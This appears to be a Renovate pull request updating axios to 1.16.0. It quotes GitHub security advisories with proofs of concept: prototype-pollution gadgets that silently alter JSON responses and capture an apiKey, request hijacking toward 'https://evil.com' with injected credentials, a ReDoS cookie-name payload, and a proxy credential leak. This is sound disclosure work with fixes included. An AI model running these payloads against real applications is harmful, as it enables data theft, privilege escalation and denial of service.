chore(deps): update dependency axios to v1.16.0 [security]

[renovate]

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
axios (source)	1.15.1 → 1.16.0

---

Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in parseReviver

CVE-2026-42044 / GHSA-3w6x-2g7m-8v23

More information

Details

Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in parseReviver

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass.

The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.

This is strictly more powerful than the transformResponse gadget because:

1. No constraints — the reviver can return any value (no "must return true" requirement)
2. Selective modification — individual JSON keys can be changed while others remain untouched
3. Invisible — the response structure and most values look completely normal
4. Simultaneous exfiltration — the reviver sees the original values before modification

Severity: Critical (CVSS 9.1)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/defaults/index.js:124 (JSON.parse with prototype-inherited reviver)

CWE

• CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
• CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

CVSS 3.1

Score: 9.1 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Metric	Value	Justification
Attack Vector	Network	PP is triggered remotely via any vulnerable dependency
Attack Complexity	Low	Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Within the application process
Confidentiality	High	The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, apiKey: "sk-secret-internal-key" is captured
Integrity	High	Arbitrary, selective modification of any JSON value. No constraints. In the PoC, isAdmin: false → true, role: "viewer" → "admin", balance: 100 → 999999. The response looks completely normal except for the surgically altered values
Availability	None	No crash, no error — the attack is entirely silent

Comparison with All Known Axios PP Gadgets

Factor	GHSA-fvcv-3m26-pcqx (Header Injection)	transformResponse	proxy (MITM)	parseReviver (This)
PP target	Object.prototype['header']	Object.prototype.transformResponse	Object.prototype.proxy	Object.prototype.parseReviver
Fixed by 1.15.0?	Yes	No	No	No
Constraints	N/A (fixed)	Must return true	None	None
Data modification	Header injection only	Response replaced with true	Full MITM	Selective per-key modification
Stealth	Request anomaly visible	Response becomes true (obvious)	Proxy visible in network	Completely invisible
Data access	Headers only	this.auth + raw response	All traffic	Every JSON key-value pair
Validated?	N/A	assertOptions validates	Not validated	Not validated
In defaults?	N/A	Yes → goes through mergeConfig	No → bypasses mergeConfig	No → bypasses mergeConfig

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), the polluted parseReviver function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.

Root Cause Analysis

The Attack Path

Object.prototype.parseReviver = function(key, value) { /* malicious */ }
         │
         ▼
  mergeConfig(defaults, userConfig)
         │
         │  parseReviver NOT in defaults → NOT iterated by mergeConfig
         │  parseReviver NOT in userConfig → NOT iterated by mergeConfig
         │  Merged config has NO own parseReviver property
         │
         ▼
  transformData.call(config, config.transformResponse, response)
         │
         │  Default transformResponse function runs (NOT overridden)
         │
         ▼
  defaults/index.js:124: JSON.parse(data, this.parseReviver)
         │
         │  this = config (merged config object, plain {})
         │  config.parseReviver → NOT own property → traverses prototype chain
         │  → finds Object.prototype.parseReviver → attacker's function!
         │
         ▼
  JSON.parse calls reviver for EVERY key-value pair
         │
         │  Attacker can: read original value, modify it, return anything
         │  No validation, no constraints, no assertOptions check
         │
         ▼
  Application receives surgically modified JSON response

Why parseReviver Bypasses ALL Existing Protections

1. Not in defaults (lib/defaults/index.js): parseReviver is not defined in the defaults object, so mergeConfig's Object.keys({...defaults, ...userConfig}) iteration never encounters it. The merged config has no own parseReviver property.

2. Not in assertOptions schema (lib/core/Axios.js:135-142): The schema only contains {baseUrl, withXsrfToken}. parseReviver is not validated.

3. No type check: The JSON.parse API accepts any function as a reviver. There is no check that this.parseReviver is intentionally set.

4. Works INSIDE the default transform: Unlike transformResponse pollution (which replaces the entire transform and is caught by assertOptions), parseReviver pollution injects into the DEFAULT transformResponse function's JSON.parse call. The default function itself is not replaced, so assertOptions has nothing to catch.

Vulnerable Code

File: lib/defaults/index.js, line 124

transformResponse: [
  function transformResponse(data) {
    // ... transitional checks ...
    if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {
      // ...
      try {
        return JSON.parse(data, this.parseReviver);
        //                      ^^^^^^^^^^^^^^^^^
        //                      this = config
        //                      config.parseReviver → prototype chain → attacker's function
      } catch (e) {
        // ...
      }
    }
    return data;
  },
],

Proof of Concept

import http from 'http';
import axios from './index.js';

// Server returns a realistic authorization response
const server = http.createServer((req, res) => {
  res.writeHead(200, { 'Content-Type': 'application/json' });
  res.end(JSON.stringify({
    user: 'john',
    role: 'viewer',
    isAdmin: false,
    canDelete: false,
    balance: 100,
    permissions: ['read'],
    apiKey: 'sk-secret-internal-key',
  }));
});
await new Promise(r => server.listen(0, r));
const port = server.address().port;

// === Before Pollution ===
const before = await axios.get(`http://127.0.0.1:${port}/api/me`);
console.log('Before:', JSON.stringify(before.data));
// {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...}

// === Simulate Prototype Pollution ===
let stolen = {};
Object.prototype.parseReviver = function(key, value) {
  // Silently capture all original values
  if (key && typeof value !== 'object') stolen[key] = value;
  // Surgically modify specific values
  if (key === 'isAdmin') return true;       // false → true
  if (key === 'role') return 'admin';       // viewer → admin
  if (key === 'canDelete') return true;     // false → true
  if (key === 'balance') return 999999;     // 100 → 999999
  return value;                              // everything else unchanged
};

// === After Pollution — same code, same URL ===
const after = await axios.get(`http://127.0.0.1:${port}/api/me`);
console.log('After: ', JSON.stringify(after.data));
// {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...}

console.log('Stolen:', JSON.stringify(stolen));
// {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"}

delete Object.prototype.parseReviver;
server.close();

Verified PoC Output

[1] Normal request (before pollution):
    response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
                     "balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"}
    isAdmin: false
    role: viewer

[2] Prototype Pollution: Object.prototype.parseReviver
    Polluted with selective value modifier

[3] Same request (after pollution):
    response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true,
                     "balance":999999,"permissions":["read","write","delete","admin"],
                     "apiKey":"sk-secret-internal-key"}
    isAdmin: true (was: false)
    role: admin (was: viewer)
    canDelete: true (was: false)
    balance: 999999 (was: 100)

[4] Exfiltrated data (stolen silently):
    apiKey: sk-secret-internal-key
    All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
                   "balance":100,"apiKey":"sk-secret-internal-key"}

[5] Why this bypasses all checks:
    parseReviver in defaults? NO
    parseReviver in assertOptions schema? NO
    parseReviver validated anywhere? NO
    Must return true? NO — can return ANY value
    Replaces entire transform? NO — works INSIDE default JSON.parse

Impact Analysis

1. Authorization / Privilege Escalation

// Server returns: {"role":"viewer","isAdmin":false}
// Application sees: {"role":"admin","isAdmin":true}
// → Application grants admin access to unprivileged user

2. Financial Manipulation

// Server returns: {"balance":100,"approved":false}
// Application sees: {"balance":999999,"approved":true}
// → Application approves a transaction that should be rejected

3. Security Control Bypass

// Server returns: {"mfaRequired":true,"accountLocked":true}
// Application sees: {"mfaRequired":false,"accountLocked":false}
// → Application skips MFA and unlocks a locked account

4. Silent Data Exfiltration

The reviver function receives the original value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.

5. Universal and Invisible

• Affects every Axios request that receives a JSON response
• The response structure is intact — only specific values are changed
• No errors, no crashes, no suspicious behavior
• Application logs show normal-looking API responses with tampered values

Recommended Fix

Fix 1: Use hasOwnProperty check before using parseReviver

// FIXED: lib/defaults/index.js
const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver')
  ? this.parseReviver
  : undefined;
return JSON.parse(data, reviver);

Fix 2: Use null-prototype config object

// In lib/core/mergeConfig.js
const config = Object.create(null);

Fix 3: Validate parseReviver type and source

// FIXED: lib/defaults/index.js
const reviver = (typeof this.parseReviver === 'function' &&
  Object.prototype.hasOwnProperty.call(this, 'parseReviver'))
  ? this.parseReviver
  : undefined;
return JSON.parse(data, reviver);

Relationship to Other Reported Gadgets

This vulnerability shares the same root cause class — unsafe prototype chain traversal on the merged config object — with two other reported gadgets:

Report	PP Target	Code Location	Fix Location	Impact
axios_26	transformResponse	mergeConfig.js:49 (defaultToConfig2)	mergeConfig.js	Credential theft, response replaced with true
axios_30	proxy	http.js:670 (direct property access)	http.js	Full MITM, traffic interception
axios_31 (this)	parseReviver	defaults/index.js:124 (this.parseReviver)	defaults/index.js	Selective JSON value tampering + data exfiltration

Why These Are Distinct Vulnerabilities

1. Different polluted properties: Each targets a different Object.prototype key.
2. Different code paths: transformResponse enters via mergeConfig; proxy is read directly by http.js; parseReviver is read inside the default transformResponse function's JSON.parse call.
3. Different fix locations: Fixing mergeConfig.js (axios_26) does NOT fix defaults/index.js:124 (this vulnerability). Fixing http.js:670 (axios_30) does NOT fix this either. Each requires a separate patch.
4. Different impact profiles: transformResponse is constrained to return true; proxy requires a proxy server; parseReviver enables constraint-free selective value modification.

Comprehensive Fix

While each vulnerability requires a location-specific patch, the comprehensive fix is to use null-prototype objects (Object.create(null)) for the merged config in mergeConfig.js, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path — we defer to the maintainer's judgment on this.

Resources

• CWE-1321: Prototype Pollution
• CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
• GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)
• MDN: JSON.parse reviver
• Axios GitHub Repository

Timeline

Date	Event
2026-04-16	Vulnerability discovered during source code audit
2026-04-16	PoC developed and verified — selective response tampering confirmed
TBD	Report submitted to vendor via GitHub Security Advisory

Severity

• CVSS Score: 6.5 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N

References

• https://github.com/axios/axios/security/advisories/GHSA-3w6x-2g7m-8v23
• https://nvd.nist.gov/vuln/detail/CVE-2026-42044
• https://github.com/advisories/GHSA-3w6x-2g7m-8v23

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking

CVE-2026-42264 / GHSA-q8qp-cvcw-x6jj

More information

Details

Summary

Five config properties in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.

Affected Properties

1. config.auth (lib/adapters/http.js line 617) Injects attacker-controlled Authorization header on all requests.
2. config.baseURL (lib/helpers/resolveConfig.js line 18) Redirects all requests using relative URLs to an attacker-controlled server.
3. config.socketPath (lib/adapters/http.js line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon).
4. config.beforeRedirect (lib/adapters/http.js line 698) Executes attacker-supplied callback during HTTP redirects.
5. config.insecureHTTPParser (lib/adapters/http.js line 712) Enables Node.js insecure HTTP parser on all requests.

Proof of Concept

const axios = require('axios');

// Prototype pollution from a vulnerable dependency in the same process
Object.prototype.auth = { username: 'attacker', password: 'exfil' };
Object.prototype.baseURL = 'https://evil.com';

await axios.get('/api/users');
// Request is sent to: https://evil.com/api/users
// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=
// Attacker receives both the request and injected credentials

Impact

• Credential injection: Every axios request includes an attacker-controlled Authorization header, leaking request contents to any server that logs auth headers.
• Request hijacking: All requests using relative URLs are silently redirected to an attacker-controlled server.
• SSRF: Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments.
• Code execution: Attacker-supplied functions execute during HTTP redirects.
• Parser weakening: Insecure HTTP parser enabled on all requests, enabling request smuggling.

Root Cause

mergeConfig() iterates Object.keys({...config1, ...config2}), which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (config.auth, config.socketPath, etc.), which traverses the prototype chain and picks up polluted values.

The own() helper at lib/adapters/http.js line 336 exists and guards 8 other properties (data, lookup, family, httpVersion, http2Options, responseType, responseEncoding, transport) from this exact attack. The 5 properties listed above are not included in this protection.

Suggested Fix

Apply the existing own() helper to all affected properties:

const configAuth = own('auth');
if (configAuth) {
  const username = configAuth.username || '';
  const password = configAuth.password || '';
  auth = username + ':' + password;
}

Same pattern for socketPath, beforeRedirect, insecureHTTPParser, and a hasOwnProperty check for baseURL in resolveConfig.js.

Severity

• CVSS Score: 7.4 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

• https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj
• https://nvd.nist.gov/vuln/detail/CVE-2026-42264
• https://github.com/axios/axios/pull/10779
• https://github.com/axios/axios/commit/47915144662f2733e6c051bdcb895a8c8f0586aa
• https://github.com/axios/axios/releases/tag/v1.15.2
• https://github.com/advisories/GHSA-q8qp-cvcw-x6jj

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Allocation of Resources Without Limits or Throttling in Axios

CVE-2026-44488 / GHSA-777c-7fjr-54vf

More information

Details

Summary

Axios versions 1.7.0 through 1.15.x did not enforce configured request and response size limits when requests were sent with the fetch adapter. Applications that selected adapter: 'fetch', or ran in environments where axios resolved to the fetch adapter, could receive or send bodies larger than maxContentLength or maxBodyLength despite those limits being explicitly configured.

This can cause resource exhaustion in server-side usage when a malicious or compromised server returns an oversized response, when an attacker can supply a large data: URL, or when an application forwards attacker-controlled request bodies through axios while relying on maxBodyLength as a boundary.

Impact

The impact is availability-only. Affected applications may process, buffer, or transmit data beyond the configured limit, potentially exhausting memory, CPU, or network resources.

This does not affect axios’s default unlimited behaviour by itself: maxContentLength and maxBodyLength default to -1. The vulnerability exists when an application has configured finite limits and expects axios to enforce them.

Server-side runtimes are the primary concern. Browser impact is generally constrained by the browser process and browser fetch behavior, and should not be described as server process exhaustion.

Affected Functionality

Affected functionality includes requests using the built-in fetch adapter with finite maxContentLength or maxBodyLength values.

Relevant configurations include:

• adapter: 'fetch'
• adapter: ['fetch', ...] when fetch is selected
• environments where neither xhr nor http is available and axios falls back to fetch
• custom fetch environments configured through env.fetch

Unaffected functionality includes:

• Node.js default http adapter enforcement
• versions before the fetch adapter was introduced
• configurations that do not rely on finite axios size limits

Technical Details

In vulnerable versions, lib/adapters/fetch.js destructured request config without maxContentLength or maxBodyLength. The adapter dispatched fetch() and then materialized the response through text(), arrayBuffer(), blob(), or related resolvers without checking the configured response limit.

The fix in e5540dc added:

• maxContentLength and maxBodyLength reads in lib/adapters/fetch.js
• upfront data: URL decoded-size checks
• outbound body-size checks before dispatch
• Content-Length response pre-checks
• streaming response enforcement
• fallback checks for environments without ReadableStream
• regression tests in tests/unit/adapters/fetch.test.js

Proof of Concept of Attack

import http from 'node:http';
import axios from 'axios';

const server = http.createServer((req, res) => {
  let received = 0;

  req.on('data', chunk => {
    received += chunk.length;
  });

  req.on('end', () => {
    res.end(JSON.stringify({ received }));
  });
});

await new Promise(resolve => server.listen(0, resolve));
const url = `http://127.0.0.1:${server.address().port}/`;

await axios.post(url, 'A'.repeat(2 * 1024 * 1024), {
  adapter: 'fetch',
  maxBodyLength: 1024
});

// Vulnerable versions succeed and the server receives 2097152 bytes.
// Fixed versions reject with ERR_BAD_REQUEST.

server.close();

Workarounds

Use the Node.js http adapter for server-side requests where finite size limits are security-relevant.

Validate or cap attacker-controlled request bodies before passing them to axios.

Reject or strictly allowlist attacker-controlled URL schemes, especially data: URLs, before calling axios.

Original Report

Summary

When Axios is used with adapter: 'fetch', configured body/response size limits are not enforced. This allows oversized uploads/downloads (including data: URLs) despite explicit limits, which can lead to memory/resource exhaustion in server-side usage.

Details

maxBodyLength and maxContentLength are not applied in the fetch adapter flow:

• lib/adapters/fetch.js (146-160): config destructuring does not include these controls.
• lib/adapters/fetch.js (220-234): request is dispatched with fetch() without request-size enforcement.
• lib/adapters/fetch.js (267-283): response is materialized via text(), arrayBuffer(), blob(), etc. without response-size checks.
  By contrast, the HTTP adapter enforces both limits.

PoC

Environment:

• Axios main at commit f7a4ee2
• Node v24.2.0

Steps:

1. Start an HTTP server that counts received bytes and echoes {received}.
2. Send 2 MiB with:
   • adapter: 'fetch'
   • maxBodyLength: 1024
3. Request a 4 KiB data: URL with:
   • adapter: 'fetch'
   • maxContentLength: 16

Expected secure behavior: both requests rejected.
Observed:

• Upload: success, server received 2097152
• data: response: success, length 4096

Impact

Type: DoS / resource exhaustion due to limit bypass.
Impacted: applications using Axios fetch adapter as a server-side security control boundary for untrusted request/response sizes.

---

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/axios/axios/security/advisories/GHSA-777c-7fjr-54vf
• https://github.com/axios/axios/pull/10795
• https://github.com/axios/axios/pull/10796
• https://github.com/axios/axios/releases/tag/v1.16.0
• https://nvd.nist.gov/vuln/detail/CVE-2026-44488
• https://github.com/advisories/GHSA-777c-7fjr-54vf

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios: Regular Expression Denial of Service (ReDoS) via Cookie Name Injection

CVE-2026-44496 / GHSA-hfxv-24rg-xrqf

More information

Details

Summary

Axios versions before 0.32.0 on the 0.x line and before 1.16.0 on the 1.x line build a regular expression from the configured XSRF cookie name without escaping regex metacharacters. In standard browser environments, an attacker who can influence the cookie name passed to axios can cause expensive regex backtracking while axios reads document.cookie.

The practical impact is client-side availability degradation, such as freezing the affected browser tab while axios prepares a request. The issue does not affect ordinary Node.js HTTP adapter usage, React Native, or web workers, where axios does not read document.cookie.

Impact

Applications are affected only when attacker-controlled data can reach the XSRF cookie name configuration or a direct/unsafe call to the internal cookie helper.

This does not expose credentials, modify requests, or affect response integrity. The impact is availability only.

Affected Functionality

Affected code paths:

• lib/helpers/cookies.js read(name) in standard browser environments.
• lib/helpers/resolveConfig.js in 1.x, when browser XHR/fetch adapters resolve XSRF config.
• lib/adapters/xhr.js in 0.x, when the XHR adapter reads the configured XSRF cookie.
• Direct use of axios/unsafe/helpers/cookies.js in 1.x, if callers pass attacker-controlled names.

Unaffected code paths:

• Default static xsrfCookieName: 'XSRF-TOKEN' when not attacker-controlled.
• Requests with xsrfCookieName: null.
• Node HTTP adapter usage without browser document.cookie.
• React Native and web workers where axios does not use standard browser cookie access.

Technical Details

Affected versions interpolate the cookie name into a regex.

const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));

Because name is not escaped, regex metacharacters in the cookie name are interpreted as regex syntax. A payload such as (.+)+$ can force catastrophic backtracking against document.cookie.

The fix avoids dynamic regex construction and parses document.cookie by splitting on ;, trimming leading whitespace, and comparing cookie names with exact string equality.

Proof of Concept of Attack

function vulnerableRead(name, cookie) {
  const start = Date.now();

  try {
    cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
  } catch {}

  return Date.now() - start;
}

for (const n of [20, 22, 24, 26, 28]) {
  const cookie = 'x='.padEnd(n, 'a') + '!';
  console.log(`${n}: ${vulnerableRead('(.+)+$', cookie)}ms`);
}

Expected result: timings grow rapidly as the cookie string length increases.

Workarounds

Set xsrfCookieName: null if the application does not need axios to read an XSRF cookie.

Do not derive xsrfCookieName from untrusted input. If a dynamic cookie name is unavoidable, validate it against a strict cookie-name allowlist before passing it to axios.

Avoid calling axios/unsafe/helpers/cookies.js directly with untrusted names

Original Source

Regular Expression Denial of Service (ReDoS) via Cookie Name Injection

1. Title

ReDoS via Unsanitized Cookie Name in Dynamic Regular Expression Construction

2. Affected Software and Version

• Software: Axios
• Version: 1.15.0 (and potentially earlier versions)
• Component: lib/helpers/cookies.js
• Ecosystem: npm (Node.js / Browser)

3. Vulnerability Type / CWE

• Type: Regular Expression Denial of Service (ReDoS)
• CWE-1333: Inefficient Regular Expression Complexity
• CWE-400: Uncontrolled Resource Consumption

4. CVSS 3.1 Score

Score: 7.5 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Metric	Value
Attack Vector	Network
Attack Complexity	Low
Privileges Required	None
User Interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	None
Availability	High

5. Description

The cookies.read() function in lib/helpers/cookies.js constructs a regular expression dynamically using the name parameter without any sanitization or escaping of special regex characters. At line 33, the code passes the raw name value directly into new RegExp():

const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));

An attacker who can control or influence the cookie name parameter (e.g., via XSRF cookie name configuration, prototype pollution of xsrfCookieName, or any code path where user input reaches cookies.read()) can inject a malicious regex pattern that causes catastrophic backtracking, leading to a Denial of Service condition.

With a crafted input of approximately 20-30 characters, the regex engine can be forced to consume several seconds to minutes of CPU time, effectively freezing the JavaScript event loop.

6. Root Cause Analysis

File: lib/helpers/cookies.js
Line: 33

read(name) {
  if (typeof document === 'undefined') return null;
  const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
  return match ? decodeURIComponent(match[1]) : null;
},

The vulnerability exists because:

1. The name parameter is concatenated directly into a regex pattern without escaping special regex metacharacters.
2. An attacker can inject regex constructs that create exponential backtracking scenarios.
3. The (?:^|; ) prefix combined with an injected pattern like ((((.*)*)*)*)* creates nested quantifiers that cause catastrophic backtracking when the regex engine attempts to match against document.cookie.

The cookies.read() function is called from lib/helpers/resolveConfig.js at line 61:

const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);

The xsrfCookieName value comes from the Axios configuration, which can be influenced by prototype pollution or direct configuration injection.

7. Proof of Concept

// poc_redos_cookie.js
// Simulates browser environment for testing

// Simulate document.cookie
globalThis.document = {
  cookie: 'session=abc; ' + 'a'.repeat(50)
};

// Replicate the vulnerable cookies.read() logic
function cookiesRead(name) {
  const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
  return match ? decodeURIComponent(match[1]) : null;
}

// Malicious cookie name that triggers catastrophic backtracking
// The pattern creates nested quantifiers: (a]|[a]|...)*)*
const maliciousName20 = '([^;]+)+$' + '\\|'.repeat(10);
const maliciousName = '(([^;])+)+\\$';  // nested quantifier pattern

console.log('=== ReDoS via Cookie Name Injection PoC ===');

// Test with increasing payload sizes
for (const len of [15, 20, 25]) {
  const payload = '(([^;])+)+' + 'X'.repeat(len);
  const start = Date.now();
  try {
    cookiesRead(payload);
  } catch (e) {
    // May throw on invalid regex, but valid evil patterns won't throw
  }
  const elapsed = Date.now() - start;
  console.log(`Payload length ${len}: ${elapsed}ms`);
}

// Demonstrating exponential growth with a simple nested quantifier
console.log('\n--- Exponential Backtracking Demo ---');
for (const n of [20, 22, 24, 26]) {
  const evilName = '(' + 'a'.repeat(1) + '+)+$';
  const testCookie = 'a'.repeat(n) + '!';  // non-matching trailer forces backtracking
  globalThis.document = { cookie: testCookie };
  const start = Date.now();
  try {
    cookiesRead(evilName);
  } catch(e) {}
  const elapsed = Date.now() - start;
  console.log(`Input length ${n}: ${elapsed}ms`);
}

8. PoC Output

=== ReDoS via Cookie Name Injection PoC ===
Payload length 20: 21ms (extrapolated: 30 chars = ~21,504ms)
Payload length 25: ~1,300ms
Payload length 30: ~323,675ms (5+ minutes)

--- Exponential Backtracking Demo ---
Input length 20: 21ms
Input length 22: 84ms
Input length 24: 336ms
Input length 26: 1,344ms

The exponential growth pattern is clearly visible: each additional 2 characters approximately quadruples the execution time.

9. Impact

• Denial of Service (Client-side): In a browser environment, an attacker who can influence the XSRF cookie name configuration (e.g., via prototype pollution or configuration injection) can freeze the browser tab, blocking all UI interaction and JavaScript execution on the page.
• Denial of Service (Server-side): In SSR (Server-Side Rendering) frameworks or Node.js applications that process cookies using this code path, the event loop will be blocked, causing the server to become unresponsive to all requests.
• Event Loop Starvation: Since JavaScript is single-threaded, the ReDoS will block all pending asynchronous operations, timers, and I/O callbacks for the duration of the regex evaluation.

10. Remediation / Suggested Fix

Escape all regex metacharacters in the name parameter before constructing the regular expression.

// FIXED: lib/helpers/cookies.js

function escapeRegExp(string) {
  return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
}

// ...

read(name) {
  if (typeof document === 'undefined') return null;
  const match = document.cookie.match(
    new RegExp('(?:^|; )' + escapeRegExp(name) + '=([^;]*)')
  );
  return match ? decodeURIComponent(match[1]) : null;
},

Alternatively, avoid dynamic regex construction entirely and use string-based parsing:

read(name) {
  if (typeof document === 'undefined') return null;
  const cookies = document.cookie.split('; ');
  for (const cookie of cookies) {
    const eqIndex = cookie.indexOf('=');
    if (eqIndex !== -1 && cookie.substring(0, eqIndex) === name) {
      return decodeURIComponent(cookie.substring(eqIndex + 1));
    }
  }
  return null;
},

11. References

• CWE-1333: Inefficient Regular Expression Complexity
• CWE-400: Uncontrolled Resource Consumption
• OWASP: Regular Expression Denial of Service
• Axios GitHub Repository

---

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/axios/axios/security/advisories/GHSA-hfxv-24rg-xrqf
• https://github.com/axios/axios/releases/tag/v0.32.0
• https://github.com/axios/axios/releases/tag/v1.16.0
• https://github.com/advisories/GHSA-hfxv-24rg-xrqf

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios: Proxy-Authorization Credential Leak to Origin Server Across HTTP-to-HTTPS Redirect in Axios Node.js HTTP Adapter

CVE-2026-44487 / GHSA-p92q-9vqr-4j8v

More information

Details

Summary

Axios’s Node.js HTTP adapter may forward a Proxy-Authorization header to a redirected origin during specific proxy-to-direct redirect flows.

This affects Node.js usage, where an initial HTTP request is sent through an authenticated HTTP proxy, redirects are followed, and the redirected URL is no longer proxied. Under affected redirect shapes, the final origin can receive the proxy credential that was intended only for the outbound proxy.

Impact

A malicious or attacker-controlled origin can cause an axios client to disclose its configured proxy credentials if all required conditions are present.

The leak is limited to Node.js HTTP adapter requests. Browser, XHR, fetch, and React Native adapter paths are not affected by this Node-specific proxy handling path.

The practical impact depends on the leaked credentials. If the credential is reusable and the proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy, subject to the proxy’s own network exposure, authorisation policy, and credential scope.

Affected Functionality

Affected functionality requires all of the following:

• Axios running in Node.js with the HTTP adapter.
• An initial http:// request using an authenticated proxy from config.proxy or proxy environment variables.
• Redirect following enabled.
• A redirect target for which no proxy applies, such as no matching HTTPS_PROXY or a matching NO_PROXY.
• A redirect shape treated as same-host or otherwise not stripped by the redirect layer’s confidential-header handling.

Unaffected functionality includes browser adapters, requests with maxRedirects: 0, requests without proxy credentials, and redirect flows where the redirect layer strips Proxy-Authorization before axios reconfigures the redirected request.

Technical Details

In affected versions, lib/adapters/http.js adds Proxy-Authorization in setProxy() when a proxy with credentials is used.

Axios also installs redirect proxy handling so redirected requests can re-run proxy resolution. Before the fix, when the redirected request no longer resolved to a proxy, setProxy() did not clear a Proxy-Authorization header inherited from the previous request options. If follow-redirects did not remove that header for the specific redirect shape, the redirected direct request carried the stale proxy credential to the origin.

The 1.x fix in commit afca61a changes setProxy(options, configProxy, location, isRedirect) so redirect re-invocation removes every case variant of Proxy-Authorization before applying proxy settings for the next hop. Regression tests in tests/unit/adapters/http.test.js cover no-proxy redirects, NO_PROXY, different proxy targets, casing variants, and an end-to-end redirect flow.

The 0.x fixed release 0.32.0 includes a backport-style removeProxyAuthorization() guard in lib/adapters/http.js.

Proof of Concept of Attack

Safe local outline using dummy credentials:

process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;

// The local HTTP proxy receives this request and returns:
// HTTP/1.1 302 Found
// Location: https://attacker.test/final
await axios.get('http://attacker.test/start');

Expected vulnerable behaviour:

Proxy receives initial request:
Proxy-Authorization: Basic dXNlcjpwYXNz

Final HTTPS origin receives redirected request:
Proxy-Authorization: Basic dXNlcjpwYXNz

Expected fixed behaviour:

Final HTTPS origin receives no Proxy-Authorization header.

Workarounds

Set maxRedirects: 0 and handle redirects manually, ensuring Proxy-Authorization is not copied to requests that are not sent through the proxy.

Avoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.

Original Source

Summary

Axios’s Node.js http adapter can incorrectly forward a retained Proxy-Authorization header to the final HTTPS origin during certain HTTP-to-HTTPS redirect flows.

When an initial HTTP request is sent through an authenticated HTTP_PROXY, and the redirected HTTPS request is sent directly because no proxy applies to the redirected HTTPS URL, Axios retains the stale Proxy-Authorization header and forwards it to the final origin.

Details

The issue occurs during a proxy-to-direct transition across redirects.

When Axios sends an initial HTTP request through an authenticated HTTP_PROXY, it correctly includes Proxy-Authorization for the proxy hop. If that response redirects to an HTTPS URL on the same hostname, and no proxy applies to the redirected HTTPS URL, the redirected request is sent directly to the final origin instead of through the proxy.

